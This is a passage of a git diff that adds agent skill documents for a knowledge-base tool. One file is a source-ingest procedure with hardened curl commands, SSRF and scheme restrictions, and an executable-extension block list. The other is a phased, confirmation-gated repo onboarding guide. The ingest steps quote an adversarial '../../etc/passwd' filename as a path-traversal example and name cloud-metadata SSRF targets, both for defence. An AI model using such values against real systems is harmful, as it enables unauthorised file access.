+- **URL with a binary file extension** (`.pdf`, `.png`, `.jpg`, `.jpeg`, `.gif`, `.webp`, `.mp4`, `.webm`, `.mov`, `.m4v`, `.mp3`, `.wav`, `.ogg`, `.m4a`, `.flac`, `.docx`, `.xlsx`, `.pptx`, `.doc`, `.xls`, `.ppt`, `.zip`, `.7z`, `.tar`, `.gz`, `.rar`, `.csv`, `.tsv`, `.epub`, etc.) → treat as **binary**. Skip to Step 1b.
+- **URL with a clear HTML/text extension** (`.html`, `.htm`, none, `.txt`, `.md`) → treat as **text**. Skip to Step 1c. The executable hard-block does NOT apply here because Step 1c never writes the source extension to disk — it writes a `.md` wrapper containing the extracted text.
+- **Local file path** → use your native file read tool. If the local file is text (HTML, plain, markdown), skip to **Step 2b** (text wrapper). If it is a binary you want preserved verbatim, you already have the bytes on disk — skip Step 1b's download and go to **Step 2a** (binary wrapper), pointing `source_path:` at the existing local path (relative to the wrapper).
+- **Ambiguous URL** (no extension, query-string download URL, redirect-y link) → run `curl -IL --proto =http,=https --proto-redir =http,=https --max-redirs 5 -A 'Mozilla/5.0' <url>` to read response headers, then classify by `Content-Type`:
+ - `application/pdf`, `image/*` (except `image/svg+xml`), `video/*`, `audio/*`, `application/zip`, `application/vnd.openxmlformats-*`, `application/epub+zip` → **binary**
+ - `text/html`, `text/plain`, `application/json` (when the source is a doc/article, not data) → **text**
+ - `application/octet-stream` → ambiguous; treat as binary BUT note in chat that the server didn't declare a specific type, and the captured `sha256` + bytes record gives downstream tooling the signal if the bytes turn out to be HTML.
+
+### STOP gates evaluated during Step 1a (before any download)
+
+1. **Streaming-video / DRM-protected media.** If the URL hostname matches a known streaming pattern (examples — illustrative, not exhaustive: `youtube.com`, `youtu.be`, `vimeo.com`, `twitch.tv`, `tiktok.com`, `spotify.com`, `open.spotify.com`, `podcasts.apple.com`) **OR** the HEAD response shows `Content-Type: text/html` on a URL that looked like media **OR** the HEAD shows anti-bot characteristics (`Server: cloudflare` + `cf-mitigated` / `cf-chl-bypass` headers, an Akamai/Imperva challenge response, 403 with an HTML body) → **STOP**. Tell the user: "Streaming services and DRM-protected media require `yt-dlp` or vendor-specific tooling — out of scope. Paste the transcript, or run `yt-dlp` manually and re-share the resulting file as a local path."
+
+2. **URL scheme — HARD BLOCK.** If the URL scheme is not `http://` or `https://` (i.e., `file://`, `gopher://`, `ftp://`, etc.) → **HARD STOP**. Tell the user: "Ingest only fetches `http(s)` URLs. Other schemes (local-file paths, intranet protocols) bypass the size + redirect safeguards and risk pulling cloud-metadata or local-service responses into the KB. If you have a local file, pass its path directly as a local-file source instead of a URL."
+
+3. **Auth-walled / paywalled / 4xx.** If HEAD returns 401/402/403/407/429 → STOP. Ask the user to paste the content or share a local copy.
+
+## Step 1b: Binary fetch
+
+You've classified the source as binary and Step 1a's STOP gates passed. Step 1b adds **write-path-specific** STOP gates that only apply when we're about to land bytes on disk under the source extension:
+
+### Step 1b STOP gates (write-path only)
+
+1. **Executable / scripted-document extension — HARD BLOCK.** If the URL extension is one OK's upload blocklist covers — Windows executables, POSIX shells, scripted documents (including `.svg` and `.xml`), macOS installer classes, URL-files, cross-platform packages, and Windows shortcut classes — **HARD STOP**. Refuse to download. Tell the user: "Executable / scripted-document extensions are not auto-fetched — the runtime backstop is desktop-only, so plan-level enforcement is the only line of defense in CLI / web contexts. If you genuinely want to archive this file, `curl` it manually outside the agent and reference the local path." This gate fires HERE (write path) and NOT against Step 1c — Step 1c writes a `.md` wrapper with extracted text, not the source extension on disk.
+
+2. **Size pre-check.** Run `curl -IL --max-redirs 5 -A 'Mozilla/5.0' '<SOURCE_URL>'` (if not already done in Step 1a's ambiguous-URL branch) and read `Content-Length`:
+ - greater than 100 MB → **HARD STOP**. Tell the user the source exceeds GitHub's 100 MB file-size cap and offer the manual-`curl` + Git-LFS escape path.
+ - greater than 50 MB → STOP and ask explicitly: "Source is X MB (above the 50 MB GitHub warn threshold). Proceed?"
+ - absent → proceed; the `curl --max-filesize` flag is the enforced backstop. Note in chat that the size could not be pre-verified.
+ - 50 MB or under → proceed.
+
+### Slug derivation (strict shape)
+
+Pick a kebab-case slug from the source's filename or title (e.g., `karpathy-2024-llm-os`). The slug becomes both the binary basename and the wrapper basename. Don't put dates in the slug — dates go in frontmatter (and in dated-sibling slugs on re-ingest per Step 5).
+
+**The slug MUST match `^[a-z0-9][a-z0-9-]{0,99}$` — kebab-case, ASCII letters / digits / single hyphens only. NO dots, slashes, leading hyphens, or path segments. If you derive the slug from a server-controlled value (`Content-Disposition: filename=`, URL path basename), strip non-conforming characters before using it.** A server returning `Content-Disposition: attachment; filename="../../etc/passwd"` is adversarial; the slug constraint prevents path traversal from a malicious source landing bytes outside the sources folder. If the stripped result is empty, ask the user for a slug.
+
+### Download
+
+Use your shell tool. Create the destination first if it doesn't exist:
+
+```bash
+mkdir -p "<content-dir>/external-sources"
+curl -L --fail \
+ --proto =http,=https --proto-redir =http,=https \
+ --max-redirs 5 \
+ --max-time 60 \
+ --max-filesize 104857600 \
+ -o "<content-dir>/external-sources/<slug>.<ext>" \
+ -A 'Mozilla/5.0' \
+ '<SOURCE_URL>'
+```
+
+**Shell-escape any special characters in the URL (single quotes, backticks, dollar signs). Do NOT paste a URL containing a literal single quote directly into the single-quoted curl argument — break it into a shell-safe form first.**
+
+Flag rationale:
+- `-L` follows redirects (CDN-fronted sources need this).
+- `--proto =http,=https --proto-redir =http,=https` refuses any scheme other than http(s), and refuses redirects that would downgrade to another scheme. Prevents redirect-chain SSRF into `file://`, `gopher://`, or cloud-metadata endpoints reached via `--max-redirs`.
+- `--fail` exits non-zero on HTTP 4xx/5xx instead of writing an error body to disk.
+- `--max-redirs 5` caps redirect chains (exit 47 on excess).
+- `--max-time 60` caps total request time (exit 28).
+- `--max-filesize 104857600` enforces the 100 MB hard cap as defense-in-depth in case the server omits or lies about `Content-Length` (exit 63). The option has shipped since curl 7.10.8 (2003) — every modern install has it.
+
+If curl exits non-zero:
+- 47 (too many redirects) → STOP. Likely a tracking-link or auth-flow URL. Ask the user to paste.
+- 28 (timeout) → STOP. Slow source. Ask the user to retry or share locally.
+- 63 (`--max-filesize` triggered) → `rm -f` the truncated output. STOP and tell the user the server's `Content-Length` was missing or wrong.
+- 22 (HTTP error returned by `--fail`) → STOP. Auth wall, anti-scraping, or vanished URL. Ask the user to paste.
+- Other (e.g., 1 = unsupported protocol from `--proto`) → STOP and report the curl exit code to the user.
+
+After a successful download, record the byte size and sha256:
+
+```bash
+ls -l "<content-dir>/external-sources/<slug>.<ext>" # bytes
+sha256sum "<content-dir>/external-sources/<slug>.<ext>" # or 'shasum -a 256' on macOS
+```
+
+OK's file-watcher picks up the new file and emits `asset-create`. The sidebar refreshes; the file is now indexed.
+
+## Step 1c: Text fetch (HTML / article sources, or shell-less host fallback)
+
+Either the source is genuinely text (HTML article, plain text doc) OR your host is shell-less and binary preservation is unavailable.
+
+Use your available web fetch tool (`WebFetch` or your host's equivalent). If the fetcher returns an obvious *summary* of the page instead of the raw content (some LLM-backed fetch tools do this), note it and try a raw alternative (`curl -sL <url>` if your host has a shell, or ask the user to paste). The goal is verbatim bytes.
+
+If the fetch fails (login wall, 401/402/403/429, anti-scraping block), **stop and ask the user to paste the content directly**. Do not save a stub, an error page, or a login wall as "raw content" — that poisons the knowledge base.
+
+## Step 2a: Save the binary wrapper (only after Step 1b succeeded)
+
+Write a markdown wrapper at `external-sources/<slug>.md`. **Declare the full tag list explicitly — do NOT assume a folder-level cascade exists** (folder frontmatter is self-only; it does not flow into child docs — see `references/folder-model.md`).
```yaml
---
-title: ...
-description: ...
-source_url: https://example.com/file.pdf
-source_path: ./<slug>.<ext> # relative to this wrapper
-media_type: application/pdf
-bytes: 1234567
-sha256: <64-char hex> # of the embedded binary
+title: Original title of the source (from <title>, Content-Disposition filename, or your best read)
+description: One-line summary from the source (their words, not yours)
+source_url: https://example.com/path/to/file.pdf
+source_path: ./<slug>.<ext> # relative to this wrapper
+media_type: application/pdf # RFC 6838 type/subtype, from HEAD Content-Type
+bytes: 1234567 # integer, from ls -l or stat
+sha256: <hex sha256 digest> # full 64-char hex, of the embedded binary
date_fetched: YYYY-MM-DD
-preservation: binary # OR: text-only / text-extracted
-supersedes: # OPTIONAL — dated-sibling re-ingest
+author: Original author if known
+preservation: binary
+supersedes: # OPTIONAL — dated-sibling re-ingest (Step 5)
- <prior-slug>.md
-tags: [source, immutable, layer-ingest, binary]
+tags:
+ - source
+ - immutable
+ - layer-ingest
+ - binary
---
![[<slug>.<ext>]]
```
-Body is just the wiki-embed. PDFs/opaque attachments render as a click-dispatching File row; `<Pdf src="./<slug>.pdf" />` is the opt-in inline viewer. See `ingest`'s tool body for full re-ingest / size / executable rules.
+The body is just the wiki-embed reference. For images, video, and audio, the embed renders inline. **For PDFs and other opaque file-attachment types (docx, xlsx, zip, etc.), the `![[file.ext]]` form renders as a Notion-style File row that click-dispatches to the appropriate viewer** — the pdfjs canvas viewer is opt-in via the explicit `<Pdf src="./<slug>.pdf" />` JSX form, NOT the wiki-embed default. If the user wants the inline canvas viewer for this specific PDF, they can post-edit the wrapper body to swap the embed for that form.
+
+Write via `write` (NOT native `Write` — the CRDT path is mandatory for in-scope markdown).
+
+## Step 2b: Save the text wrapper (only after Step 1c — text path or shell-less fallback)
+
+Write a markdown wrapper at `external-sources/<slug>.md` with the text content preserved verbatim in the body. Strip obvious boilerplate (nav menus, cookie banners, ads, footer links, "related articles" widgets) but **do not summarize, paraphrase, or interpret**.
+
+Frontmatter shape:
+
+```yaml
+---
+title: Original title of the source
+description: One-line summary from the source (their words, not yours)
+source_url: https://example.com/article
+media_type: text/html
+date_fetched: YYYY-MM-DD
+author: Original author if known
+preservation: text-extracted # OR: text-only (a shell-less fallback for a binary source)
+# NOTE: no `source_path` — text wrappers ARE the content. `source_path` is meaningful only for
+# binary wrappers (Step 2a), where it points at the co-located binary sibling.
+tags:
+ - source
+ - immutable
+ - layer-ingest
+ - text
+---
+```
+
+**If this is a shell-less fallback for a source that should have been binary** (you detected binary in Step 1a but your host couldn't `curl`), set `preservation: text-only` AND prepend a top-of-body admonition so a future agent (or you, on a different host) can detect and upgrade:
+
+```markdown
+> Binary not preserved — this is an extracted-text snapshot of a binary source.
+> Re-run ingest from a shell-capable client to capture the original file.
+
+(...verbatim extracted text follows...)
+```
+
+Downstream tooling can grep `preservation: text-only` in frontmatter to find docs that need upgrading.
+
+## Step 3: Preserve the content faithfully
+
+For binary wrappers: the wrapper body is the wiki-embed reference; no further body content is needed. All metadata lives in frontmatter.
+
+For text wrappers:
+- **Keep** headings, lists, quotes, code blocks, images, citations, references.
+- **Strip** obvious boilerplate: nav menus, cookie banners, ads, footer links, "related articles" widgets.
+- **Do NOT** summarize, critique, paraphrase, or interpret.
+- **For very long sources**, consider splitting by major section with cross-references in frontmatter.
+
+## Step 4: Verify
+
+- File(s) exist under the sources folder (binary + wrapper, or wrapper alone for text).
+- Valid frontmatter (at minimum `title`, `description`, `source_url`, `preservation`, and the full `tags` list — plus `source_path` for binary wrappers).
+- For binary preservation: `sha256` and `bytes` recorded; `media_type` matches what the HEAD response returned.
+- `exec("ls -A <content-dir>/external-sources/")` lists the new file(s) with enrichment.
+
+## Step 5: Re-ingest semantics (sha256 mismatch on a previously-ingested source)
+
+If `external-sources/<slug>.<ext>` already exists when you reach Step 1b:
+
+1. Compute its sha256.
+2. If the new sha matches the existing sha → **STOP** (no-op). Tell the user: "Already at `external-sources/<slug>.<ext>` — sha256 matches, no change."
+3. If the new sha differs → save the new bytes as `external-sources/<slug>.YYYY-MM-DD.<ext>` (today's date in the slug) AND write a **new** wrapper `external-sources/<slug>.YYYY-MM-DD.md` whose `supersedes:` is a YAML list naming the predecessor:
+ ```yaml
+ supersedes:
+ - <slug>.md
+ ```
+ **Do not mutate the old wrapper or the old binary** — the sources layer is append-only by convention.
+
+The latest-dated wrapper is the "current view"; older wrappers remain valid as historical snapshots.
+
+## Step 6: Discuss takeaways with the user (no file write)
+
+After preservation, briefly surface back to the user what the source actually contains — in **chat**, not in the raw file. The raw file stays verbatim; the human collaborator gets a quick orientation.
+
+- 3-5 bullet points capturing the source's main claims, with no editorializing.
+- Note any **tensions** with existing knowledge-base docs you surfaced in Step 0 — agents that ingest in isolation miss the "wait, this contradicts `[prior article](./path/to/prior.md)`" signal.
+- Offer next steps: "Shall I research this topic now, or is preservation enough?" Don't silently chain into a research pass — the user may have just wanted the archive.
+- For binary preservation: include the one-line breadcrumb (`saved external-sources/<slug>.<ext> — <bytes> bytes, sha256 <abbrev>`).
+- For a shell-less text fallback of a binary source: explicitly tell the user the binary was not preserved and recommend re-running from a shell-capable client.
+
+## Step 7 (optional): Update neighbor docs to link the new source
+
+If the source is directly relevant to an existing article or research doc, update that doc to link the new raw source. A preserved source that no doc points at is an island. Limit this to 1-3 high-signal neighbors.
+
+- Follow the `write` / `edit` contract from the core skill.
+- For binary wrappers, prefer linking to the wrapper (the markdown doc), not the binary directly. The wrapper is the closed-loop citation target; the binary is the embedded asset within it.
+- Do NOT mass-update every neighbor. Focused cross-linking is rewarded; noisy neighbor-pings degrade the signal.
+
+## Non-goals
+
+- **No analysis** — don't interpret, compare, or critique the source. That is the research layer's job.
+- **No promotion to a canonical article** — that is the consolidate layer's job, later.
+- **No silent chaining into research** — ingest completes on its own; the user explicitly opts into a research pass.
+- **No synthesis inside the raw file** — takeaways live in chat or a separate summary doc, never mixed into the preserved source.
+- **No OCR / transcription** — binary preservation only.
+- **No streaming-video direct download** — `yt-dlp` is a separate workflow; STOP and route to it (Step 1a STOP gate 1).
+- **No executable / scripted-document auto-fetch** — hard-blocked at Step 1b STOP gate 1 (write-path only). The user runs `curl` manually outside the agent if they need to archive such a file.
+
+This procedure feeds a three-layer pipeline (ingest → research → consolidate). Ingest is this file, and ships with every `ok init`; research and consolidate are two member skills of the `knowledge-base` starter pack, available only once it is seeded. See `references/starter-packs.md`.
diff --git a/packages/server/assets/skills/project/references/onboard-existing-repo.md b/packages/server/assets/skills/project/references/onboard-existing-repo.md
new file mode 100644
index 000000000..198236e8e
--- /dev/null
+++ b/packages/server/assets/skills/project/references/onboard-existing-repo.md
@@ -0,0 +1,319 @@
+# Onboard an existing repo — convention extraction + link-graph activation
+
+Use this when (a) the user asks to set up an existing repo that already has content, OR (b) an `exec` directory listing shows content with no folder frontmatter / templates configured. Goal: **extract conventions from existing siblings + activate the link graph, leaving the repo more structured and more navigable than you found it.**
+
+This is the brownfield counterpart to `ok seed` (greenfield). Read the content directory from `config({ key: 'content.dir' })`; paths below are relative to it.
+
+Use OK primitives only — no new files outside `<folder>/.ok/`, no body rewrites without per-pair user confirmation.
+
+**Seven phases, in order. STOP gates require user confirmation before proceeding. Do not skip or batch ahead.**
+
+**Server requirement.** Phases 1-4 run fs-direct — `exec` (scan + read) and the `write`/`edit` verbs (folder frontmatter + templates) need no running server. Phase 5 (link-graph activation) composes `links` and `search`, which **require the OK Hocuspocus server** — Phase 5 step 0 checks for it and exits cleanly with a `run ok start` instruction if it is down.
+
+---
+
+## Phase 1 — Scan + classify (no user interaction, no server needed)
+
+1. `exec("ls -A <content-dir>")` — list every top-level entry.
+2. For each top-level **directory**: `exec("ls -A <dir>")` — the enriched listing surfaces the `.md` count, per-child frontmatter samples, recursive count, and the folder's own descriptive `title`/`description`/`tags` + `templates_available`.
+3. Classify each directory:
+ - **Substantial KB folder** — more than 3 `.md` files directly, OR named in a known-genre list: `specs/`, `reports/`, `docs/`, `articles/`, `research/`, `stories/`, `projects/`, `external-sources/`, `tech-probes/`, `rfcs/`, `proposals/`, `design-docs/`, `adrs/`.
+ - **Trivial folder** — 1-3 `.md` files; treat as one-offs.
+ - **Likely noise** — known build/vendored patterns: `node_modules/`, `dist/`, `build/`, `vendor/`, `third_party/`, `.changeset/`, `coverage/`.
+4. Detect total `.md` count across the content root.
+5. Detect a seeded layout: do any of `external-sources/`, `research/`, `articles/` exist? (Informational only.)
+6. **Confirm-then-extend detection.** For each substantial folder, check the `exec("ls -A <folder>")` listing:
+ - If the folder already has a `title`/`description`/`tags` → descriptive folder frontmatter already exists; switch THAT folder to "extend mode" (propose additions, not replacement).
+ - If `templates_available` is non-empty → a template already exists for that folder; skip template extraction for it.
+ - If MOST substantial folders are already configured → set up to exit early at Phase 7 with "already configured."
+
+**Early-exit conditions:**
+- If total `.md` count is **fewer than 5** → STOP. Tell the user "this looks empty — try `ok seed` for a greenfield starter pack, OR write your first doc and come back later." Exit.
+- If all-greenfield-already (per step 6) → STOP. Exit with "already configured."
+
+---
+
+## Phase 2 — Confirm scope (STOP gate 1)
+
+Present a structured summary to the user. Example:
+
+```
+Orientation — what I found:
+
+Substantial folders (candidate KB content):
+ - specs/ 52 .md (suggests spec collection)
+ - reports/ 134 .md (suggests research collection)
+ - stories/ 19 .md
+ - projects/ 8 .md
+
+Trivial folders (one-offs):
+ - tech-probes/ 4 .md
+ - 14 root-level docs (README, AGENTS, CLAUDE, CI, CONTRIBUTING)
+
+Likely noise (recommend .okignore):
+ - node_modules/ ~200 .md (vendored deps)
+ - dist/ ~30 .md (build outputs)
+ - Per-package CHANGELOG.md (generated)
+
+Seeded layout: no external-sources/ / research/ / articles/ present.
+
+Mark each substantial folder as:
+ [KB] knowledge-base content — extract conventions, add folder frontmatter + template
+ [skip] already-structured or out of scope — leave existing settings
+ [noise] add to .okignore
+```
+
+**Wait for user response. Do not proceed until each substantial folder is classified.**
+
+---
+
+## Phase 3 — `.okignore` curation (STOP gate 2)
+
+Based on user `[noise]` marks + agent-detected patterns, propose `.okignore` entries:
+
+```
+Proposed .okignore additions:
+ node_modules/**/*.md # vendored dep READMEs
+ dist/**/*.md # build outputs
+ **/CHANGELOG.md # per-package generated changelogs
+ THIRD_PARTY_NOTICES.md # auto-generated notices
+ <any user-marked folders>
+```
+
+Ask the user: "Apply these `.okignore` additions? (yes / edit list / skip)"
+
+On confirm: read the existing `.okignore`, append new entries, write via native `Write` (`.okignore` is a plain config file, not in-scope markdown — escape-hatch ok).
+
+**Don't redundantly propose what `.gitignore` already covers.** `.gitignore` and `.okignore` evaluate together; if the repo's `.gitignore` already excludes `node_modules/`, you don't need to add it again.
+
+---
+
+## Phase 4 — Per-folder convention extraction (STOP gates 3 + 4)
+
+For **each** folder the user marked `[KB]`:
+
+1. **Pick representative siblings.** From `exec("ls -A <folder>")`:
+ - Most-recently-edited doc
+ - Median-sized doc (roughly: pick the middle entry)
+ - Up to 3 siblings. If the folder has fewer than 2 siblings, skip template extraction; only propose folder frontmatter.
+
+2. **Read the siblings.** `exec("cat <doc>")` on each. Extract:
+ - **Heading set** — list every top-level heading (a line starting with `# ` or `## `) in document order.
+ - **Frontmatter shape** — which keys appear in at least 2 of the 3 siblings. Note ALL recurring keys, but route them by purpose: keys that describe the FOLDER (`title` / `description` / `tags`, though any key is allowed) go in the folder frontmatter; recurring per-doc keys (`status:`, `owner(s):`, `baseline-commit:`) are starting values for NEW docs and belong in the folder's TEMPLATE. Folder frontmatter is open-shape (like a doc's) but self-only — it does NOT flow into child docs, so per-doc starting values still belong in the template.
+ - **Filename pattern** — dated (`YYYY-MM-DD-*`)? Slugged? Sequential?
+ - **Link patterns in body** — does the body have a "Related" / "See also" / "References" section? Note the convention.
+
+3. **STOP gate 3 — heading-set match check.** If top-level headings DON'T match in text + order across at least 2 siblings, do NOT extract a template — only propose folder frontmatter. Tell the user: "siblings in `<folder>` don't share a consistent body skeleton; skipping template, proposing folder frontmatter only." The operational metric for "match" is **heading-text equality** (exact strings, in order). Anything beyond that is model judgment and shouldn't pretend to be deterministic.
+
+4. **Idempotency check.** Per Phase 1 step 6:
+ - If this folder already has its own frontmatter → switch to "extend mode." Show existing keys to the user; propose ADDITIONS only.
+ - If `templates_available` includes a template → skip template extraction. Tell the user: "existing template `<name>` found; preserving."
+
+5. **Propose folder frontmatter + template.** One `write`/`edit` call per target:
+
+ ```ts
+ // Folder frontmatter → writes <folder>/.ok/frontmatter.yml.
+ // Open-shape (any key, like a doc's); here the conventional
+ // title/description/tags describing the FOLDER. Self-only — does NOT
+ // cascade into child docs. Use `write({ folder })` for a new folder,
+ // `edit({ folder })` to add keys to an existing one (merge-patch).
+ edit({
+ folder: {
+ path: '<folder>',
+ frontmatter: {
+ title: '<inferred>', // e.g., "Specifications"
+ description: '<inferred>', // 1-2 sentences describing the folder's purpose
+ tags: ['<inferred>'], // e.g., ['spec']
+ },
+ },
+ })
+
+ // Template → writes <folder>/.ok/templates/<name>.md. This is where
+ // recurring per-doc starting values live (status, owner, ...) — bake them
+ // into the template body's frontmatter region so new docs start with them.
+ write({
+ template: {
+ path: '<folder>/<inferred-name>', // e.g., 'specs/SPEC', 'reports/REPORT'
+ frontmatter: { title: '<placeholder>', description: '<placeholder>' },
+ content: '<heading skeleton from siblings; include a frontmatter region with recurring per-doc keys (status, owner, ...) as starting values>',
+ },
+ })
+ ```
+
+6. **STOP gate 4 — surface the proposal.** Show: heading set + frontmatter shape + filename pattern + link patterns. Ask: "Apply this proposal? (yes / edit / skip this folder)"
+
+7. **Apply confirmed proposals** via the `edit({ folder })` + `write({ template })` calls above. Re-run `exec("ls -A <folder>")` to confirm `templates_available` + the folder's descriptive `title`/`description`/`tags` are populated.
+
+Repeat for every `[KB]` folder.
+
+**Scope note:** do NOT attempt nested-pattern detection (e.g. applying the same folder frontmatter across `specs/*/evidence/` for every spec's evidence subfolder). Each folder is addressed by its own path — one `edit({ folder })` call per folder. Users who want nested folder frontmatter set it up manually afterward.
+
+---
+
+## Phase 5 — Link-graph activation
+
+The largest phase. Uses the `links` tool (every link-graph view) plus `search` and `edit` to apply confirmed link insertions.
+
+0. **Server check (required for this phase).** `links` and `search` need the OK Hocuspocus server. Probe via `links({ kind: "hubs" })`. If the response starts with `"Error: Hocuspocus server is not running"`, STOP — tell the user "the link-graph phase needs the OK server. Start it with `ok start` from a terminal, then resume here (Phases 1-4 are already applied)." Exit cleanly.
+
+Six sub-passes, each with its own STOP gate.
+
+### 5a. Orphan triage (STOP gate 5a)
+
+1. Run `links({ kind: "orphans" })`.
+2. For each orphan, run `links({ kind: "suggest", docName: <orphan> })`:
+ - If `mentions[]` is non-empty → there are docs that mention this orphan without linking. Adoption candidates.
+ - If `mentions[]` is empty → the orphan is **genuinely standalone** (no other doc references it at all). Surface as: "this looks intentionally standalone (e.g., a README). Skip / adopt anyway by linking from a hub / add to `.okignore`?"
+3. Confirm per orphan. For each "link" choice, `edit({ document: { path, find, replace } })` on the source doc — find the existing mention text `links({ kind: "suggest" })` surfaced and replace it wrapped in link syntax.
+
+**Note on re-surfacing:** "intentional standalone" markers are not persisted. Each re-run surfaces the same intentional orphans (root `README.md`, `CONTRIBUTING.md`, etc.) and the user re-dismisses them. Acceptable minor friction.
+
+### 5b. Hub identification (STOP gate 5b)
+
+1. Run `links({ kind: "hubs" })` — surfaces the most-linked-to docs (highest *inbound* links), i.e. pages already acting as hubs.
+2. For each substantial `[KB]` folder (those that got templates in Phase 4):
+ - Check whether a hub already exists (`<folder>/README.md`, `<folder>/INDEX.md`, `<folder>/CATALOGUE.md`).
+ - If yes: don't create a new one (anti-pattern: don't create INDEX.md hubs).
+ - If no: ensure the template extracted in Phase 4 includes a `## Related` / `## See also` section. If the template doesn't already have one, propose adding it.
+3. Surface existing hubs to the user so they know what the link graph already provides.
+
+### 5c. Dead-link sweep (STOP gate 5c)
+
+1. Run `links({ kind: "dead" })` (no `sourceDocNames` → audits the whole corpus).
+2. For each dead link, propose: a fix candidate (via `search` for the correct target), or deletion (remove the link, or the prose around it). Leaving it as an "intentional redlink" is not an option — every dead link is fixed or removed.
+3. Confirm per dead-link. Apply confirmed fixes via `edit`.
+
+### 5d. Untextualized-reference detection (STOP gate 5d)
+
+`links({ kind: "suggest" })` implements server-side detection of prose mentions of a target doc that aren't wrapped in link syntax. Lean on it directly.
+
+1. For each substantial `[KB]` doc, run `links({ kind: "suggest", docName: <target> })`.
+2. Each call returns `mentions[]` with `{ source, excerpt, offset }` — places to insert links pointing TO this target from OTHER docs.
+3. Surface batched **by source doc** (not per-link, to keep cognitive load reasonable):
+
+ ```
+ In specs/2026-04-23-foo/SPEC.md, found 3 untextualized references:
+ line 12: "the existing `ok init` scaffolds..." → matches code, NOT a doc — skip
+ line 145: "...replaces the instructional init-content tool" → matches a spec — accept as link
+ line 203: "...per AGENTS.md ecosystem convention" → matches root AGENTS.md — accept as link
+ ```
+
+4. Confirm per source doc (batched). Apply confirmed link insertions via `edit({ document: { path, find, replace } })` — find the mention text the `suggest` view surfaced and replace it wrapped in link syntax.
+
+**Truncation handling:** if the `suggest` view returns `truncated: true`, the scan hit its time budget. Iterate with smaller scope or accept partial coverage and tell the user.
+
+### 5e. Vague-referential detection (STOP gate 5e)
+
+Harder case: prose discusses a concept covered by another doc without naming it. Example: a spec talks about "how we track who wrote what" and there's an `agent-identity-attribution/REPORT.md` covering exactly that — but the spec never says "agent identity attribution." `links({ kind: "suggest" })` (title/alias match) misses this; semantic detection requires model judgment.
+
+1. For each substantial doc, identify its main concepts. Use frontmatter `subjects:` / `topics:` if present; else extract from heading text + the first 2-3 paragraphs.
+2. For each concept, run `search({ query: <concept> })`. Take the top 1-2 non-self results.
+3. For each candidate sibling:
+ - Verify it is NOT already linked from this doc (`links({ kind: "forward", docName: <doc> })`).
+ - Verify the content is actually relevant (re-read the summary).
+4. Surface to the user with brief justification per pair. Confirm. Apply via `edit` (insert the link in a "Related" or "References" section).
+
+**Caveat:** vague-referential is judgment-heavy. False positives are expected; the user is the final arbiter. If the user rejects more than half the proposals in a batch, recalibrate (tighten concept-extraction, raise the relevance bar).
+
+### 5f. Link-style detection + standardization (STOP gate 5f)
+
+1. Sample 10 random non-noise docs (or all if the total is under 10). Count occurrences:
+ - Wiki-link syntax: `[[Page Title]]` (legacy)
+ - Relative-markdown: `[text](./path.md)` or `[text](path.md)` (the current OK recommendation)
+2. Report the ratio to the user. If mixed, propose a one-time standardization: convert all `[[Page]]` to relative-markdown links. Ambiguous `[[Page]]` (multiple matching files) → surface for confirmation.
+3. Apply via `edit` on each affected doc, resolving page titles to file paths via `exec("ls -A")` / `search`.
+
+---
+
+## Phase 6 — Apply + validate
+
+After all confirmed proposals are applied:
+
+1. Re-run `exec("ls -A <folder>")` on every `[KB]` folder. Verify:
+ - the folder's descriptive `title`/`description`/`tags` are populated (folder frontmatter landed)
+ - `templates_available` includes the new template (template landed)
+2. Re-run the orphan + dead-link audit in one call — `links({ kind: ["orphans", "dead"] })`. Confirm the orphan count dropped vs. the Phase 5a baseline and that fixed dead links no longer report.
+
+If any validation step fails, surface it to the user — do NOT silently pass.
+
+---
+
+## Phase 7 — Final summary + exit
+
+Share a structured summary with the user. Distinguish initial-setup mode from extension mode (per Phase 1 step 6):
+
+**Initial-setup mode:**
+
+```
+Onboarding complete:
+
+Folder frontmatter added (<folder>/.ok/frontmatter.yml):
+ specs/ title: Specifications, tags: [spec]
+ reports/ title: Research Reports, tags: [report]
+ stories/ title: User Stories, tags: [story]
+ projects/ title: Projects, tags: [project]
+
+Templates added (<folder>/.ok/templates/<name>.md):
+ specs/.ok/templates/SPEC.md (heading skeleton from 3 siblings, link-aware)
+ reports/.ok/templates/REPORT.md (heading skeleton from 3 siblings, link-aware)
+
+.okignore additions: 4 entries (node_modules, dist, CHANGELOG.md, THIRD_PARTY_NOTICES.md)
+
+Link-graph activation:
+ Orphan triage: 7 orphans triaged (4 adopted, 3 left as intentional standalones)
+ Hub identification: 3 existing hubs surfaced; 2 templates updated with `## Related` sections
+ Dead-link sweep: 5 dead links — 4 fixed, 1 removed
+ Untextualized refs: 12 prose mentions linked (across 8 source docs)
+ Vague-referential: 5 semantic cross-references added (across 4 source docs)
+ Link-style: standardized 42 wiki-links to relative-markdown
+
+Notes:
+ - 3 intentional standalones (README, CONTRIBUTING, LICENSE) re-surface on each run.
+ No "standalone" marker is persisted; you'll re-dismiss them next time.
+
+Next steps:
+ - Review the extracted templates in <folder>/.ok/templates/ — they're starter shapes, not finished.
+ - The next agent in this repo will see templates_available + the folder's own frontmatter for every KB folder.
+ - Re-run after significant content additions (new folder categories, major restructures).
+```
+
+**Extension mode** (when prior configuration was detected):
+
+```
+Onboarding extension complete (existing configuration preserved):
+
+New folder frontmatter:
+ tech-probes/ (was missing — title: Tech Probes, tags: [probe])
+
+Updated templates:
+ specs/.ok/templates/SPEC.md (heading skeleton refreshed from current siblings)
+
+Link-graph activation:
+ Orphan triage: 3 new orphans found (all triaged)
+ Untextualized refs: 8 new references linked
+```
+
+---
+
+## STOP rules / anti-patterns (load-bearing across phases)
+
+- **Don't restructure existing folders** — no renaming, moving, consolidating, splitting. The folder shape as-found is the contract.
+- **Don't impose a starter-pack layout** — only propose `external-sources/` / `research/` / `articles/` if the user explicitly opts in. Most brownfield repos won't.
+- **Don't create INDEX.md / README.md hub files** — folder frontmatter + `exec("ls -A")` give the same view live.
+- **Don't extract templates from a single sibling** — you need at least 2 with a matching heading set (heading-text equality, in order).
+- **Don't bulk-rewrite doc bodies** — every link insertion (5a, 5c, 5d, 5e, 5f) goes through user confirmation via STOP gates.
+- **Don't auto-apply** — every phase has a confirmation gate. You propose; the user disposes.
+- **Don't run if the project has fewer than 5 `.md` files** — exit early; redirect to `ok seed`.
+- **Don't run if the project is already fully configured** — exit early with "already configured."
+- **Don't redundantly propose what `.gitignore` covers** in `.okignore`.
+- **Don't attempt nested-pattern detection** — each substantial top-level folder gets its own folder frontmatter; nested sub-patterns (`specs/*/evidence/`) are left for users to set up manually.
+
+---
+
+## Exit conditions (early termination)
+
+- **Empty project** (Phase 1): fewer than 5 `.md` files total → exit with "try `ok seed` instead."
